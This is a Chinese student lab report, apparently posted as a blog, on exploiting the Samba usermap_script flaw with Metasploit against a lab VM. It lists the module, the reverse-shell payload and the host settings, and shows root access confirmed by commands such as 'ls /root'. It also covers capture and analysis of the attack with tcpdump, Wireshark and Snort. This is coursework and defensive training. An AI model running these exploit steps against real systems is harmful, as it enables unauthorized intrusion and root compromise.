20253908 2025-2026-2 《网络攻防实践》实践7报告

1. 实践内容

本次实践主要围绕 Linux 系统远程渗透测试与攻防对抗 展开,注重将课堂理论知识与实际操作相结合,逐步构建并完善了 Linux 攻防相关的知识体系。

在理论学习方面,我重点了解了 Linux 系统中 Samba 服务 的运行机制,并进一步分析了 Usermap_script 安全漏洞 的产生原因。该漏洞主要源于 Samba 服务配置不当,攻击者可以通过构造特殊的恶意用户名触发漏洞,从而实现任意系统命令执行。同时,我系统学习了 Metasploit 渗透测试框架 的基本使用方法,包括漏洞模块检索、攻击载荷选择与配置、目标参数设置,以及远程 Shell 的获取和管理等内容。

在攻防对抗相关学习中,我还掌握了攻击方在 Linux 环境下常见的漏洞利用思路和提权方法,并了解了防守方如何借助 tcpdump、Wireshark、Snort 等工具开展网络流量监听、攻击行为分析和安全事件溯源。

在实践操作方面,我从 Metasploit 的基础命令入手,逐步熟悉了 msfconsole 控制台的常用操作,掌握了 Linux 远程渗透攻击的基本流程。同时,我也提前练习了 Wireshark 的流量过滤、TCP 流跟踪,以及 Snort 入侵检测规则的配置,为后续攻防对抗实验奠定了基础。通过本次实践,我进一步认识到 Linux 系统与 Windows 系统在渗透测试流程、攻击方式和防护思路上的差异。

(一)使用 Metasploit 进行 Linux 远程渗透攻击

任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
(1)启动Metasploit软件,终端打开msfconsole
image
(2)使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;use exploit/multi/samba/usermap_script使用该模块进行攻击,输入show payloads查看漏洞的载荷
image
(3)输入set payload cmd/unix/reverse设置双向连接载荷,输入show options显示需要设置的参数
image

(4)设置渗透攻击参数(RHOST,LHOST,TARGET等);输入set RHOST 192.168.200.4设置靶机的地址,输入set LHOST 192.168.200.3设置攻击机地址,

image
image
(5)执行渗透攻击,输入run执行渗透攻击
image
(6)查看是否正确得到远程Shell,并查看获得的权限。输入ifconfig得出靶机IP地址,表示攻击成功,输入whoami查询当前用户权限为root
image

(二)实践作业:攻防对抗实践

攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

虚拟机 IP 地址
攻击方 192.168.200.3
防守方 192.168.200.4

攻击方:
(1)使用nmap -sV 192.168.200.123 扫描目标主机的开放端口与版本号等信息
image
(2)使用nmap --script vuln 192.168.200.4扫描目标主机存在的漏洞
image
(3)攻击采用的渗透模块仍然是第一个实验中使用的模块
image
防守方抓包结果如图所示:
(1)利用sudo tcpdump -i eth0 host 192.168.200.3 and host 192.168.200.4 -w attack.pcap开始抓包攻击机输入ifconfig等操作生成pcap文件,在操作结束后按 Ctrl + C 结束抓包,当前目录生成 attack.pcap,然后将 pcap 拷出用 Wireshark 打开
首先在 Metasploitable 靶机终端执行:
cd /home/msfadmin
python -m SimpleHTTPServer 8000
image
其次在 Kali 攻击机浏览器访问: http://192.168.200.4:8000 ,找到 attack.pcap
image
(2)下载完成后,在靶机终端按 Ctrl+C 停止 HTTP 服务,用 Wireshark 打开下载的文件即可。
攻击时抓包结果如图所示:
image
获得攻击者的IP为192.168.200.3,目标IP为192.168.200.4,端口为59825
image
时间:
image
(3)Metasploit cmd/unix/reverse 反向 Shell Payload
分析依据:
Wireshark 抓包的 TCP 流(tcp.stream eq 7,端口 4444)中,可见 Payload 的标准交互:攻击机发送随机字符串(如ConQn7jczyGflQqhMGj),靶机sh返回错误,随后通过echo命令验证 Shell 连通性。
该 Payload 的核心作用:触发靶机执行命令,主动回连攻击机 4444 端口,建立远程命令行 Shell,获取系统控制权。
Snort 告警匹配到反向 Shell 的异常流量特征,识别该 Payload 的恶意行为。
image
(4)攻击成功后,在反向 Shell 中执行了以下命令:
ifconfig:查看靶机网络配置
whoami:确认当前用户权限
id:验证 root 权限(UID=0 为 Linux 系统最高权限标识)
ls /root:查看 /root 目录下的敏感文件
image
image

3. 学习中遇到的问题及解决

  • 问题1:在使用 Metasploit 进行渗透测试时,对漏洞模块、Payload 以及参数配置之间的关系理解不够清晰,容易出现模块选择正确但无法成功建立连接的情况。

  • 问题1解决方案:通过 use exploit/multi/samba/usermap_script 选择对应漏洞模块,再使用 show payloads 查看可用载荷,并选择 cmd/unix/reverse 作为反向 Shell Payload。随后通过 show options 检查参数配置,重点确认 RHOST 为靶机 IP,LHOST 为攻击机 IP,确保攻击机与靶机网络连通后再执行攻击。

  • 问题2:攻击成功后,对远程 Shell 是否真正获取成功以及当前权限等级判断不够熟练。

  • 问题2解决方案:在获得 Shell 后,通过输入 ifconfig 查看靶机网络配置,确认当前操作对象是否为目标主机;再使用 whoami 查看当前用户身份,并通过 id 判断是否具备 root 权限。如果 UID 显示为 0,则说明已获得 Linux 系统最高权限。

  • 问题3:在攻防对抗实践中,对 tcpdump 抓包、pcap 文件导出以及 Wireshark 流量分析流程不够熟悉,难以及时定位攻击者 IP、目标 IP、端口和攻击行为。

  • 问题3解决方案:先使用 tcpdump 按攻击机与靶机 IP 进行过滤抓包,并将结果保存为 attack.pcap 文件;随后通过临时 HTTP 服务将 pcap 文件下载到本地,用 Wireshark 打开分析。分析时可结合 TCP 流跟踪,观察反向 Shell 的交互过程,并配合 Snort 告警判断恶意 Payload 的特征,从而提取攻击源 IP、目标 IP、端口、漏洞利用方式以及攻击成功后执行的命令。

4. 实践总结

通过本次实践,我进一步熟悉了 Linux 系统远程渗透测试的基本流程,掌握了使用 Metasploit 对 Samba 服务 Usermap_script 漏洞进行利用的方法,并理解了漏洞模块选择、Payload 配置、攻击参数设置和远程 Shell 获取之间的关系。同时,通过 nmap 扫描、Metasploit 攻击、Shell 权限验证等操作,我对 Linux 靶机渗透测试的整体思路有了更加直观的认识。

在攻防对抗环节中,我不仅从攻击方角度完成了漏洞利用和权限验证,也从防守方角度学习了如何使用 tcpdump、Wireshark 和 Snort 对攻击流量进行捕获与分析。通过对 pcap 文件中 TCP 流量的跟踪,可以还原攻击过程,识别攻击者 IP、目标 IP、端口、Payload 类型以及攻击成功后执行的命令。整体来看,本次实践提升了我对 Linux 攻防流程的理解,也让我认识到渗透测试不仅需要掌握攻击技术,还需要具备流量分析、入侵检测和安全溯源能力。

posted on 2026-05-05 13:30  2148377568  阅读(10)  评论(0)    收藏  举报